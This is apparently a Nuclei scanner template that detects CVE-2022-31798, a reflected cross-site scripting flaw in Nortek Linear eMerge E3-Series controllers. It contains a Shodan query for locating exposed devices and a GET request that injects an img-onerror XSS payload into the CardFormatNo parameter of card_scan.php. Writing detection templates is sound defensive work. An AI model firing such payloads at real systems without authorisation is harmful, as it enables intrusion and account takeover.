id: CVE-2022-31798

info:
  name: Nortek Linear eMerge E3-Series - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a local session fixation vulnerability that, when chained with cross-site scripting, leads to account take over of admin or a lower privileged user.
  reference:
    - https://packetstormsecurity.com/files/167992/
    - http://packetstormsecurity.com/files/167992/Nortek-Linear-eMerge-E3-Series-Account-Takeover.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31798
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-31798
    cwe-id: CWE-79
  metadata:
    shodan-query: http.title:"eMerge"
    verified: "true"
  tags: cve2022,emerge,nortek,xss,packetstorm,cve

requests:
  - method: GET
    path:
      - '{{BaseURL}}/card_scan.php?No=0000&ReaderNo=0000&CardFormatNo=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ',"CardFormatNo":"<img src=x onerror=alert(document.domain)>"}'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# Enhanced by cs 09/29/2022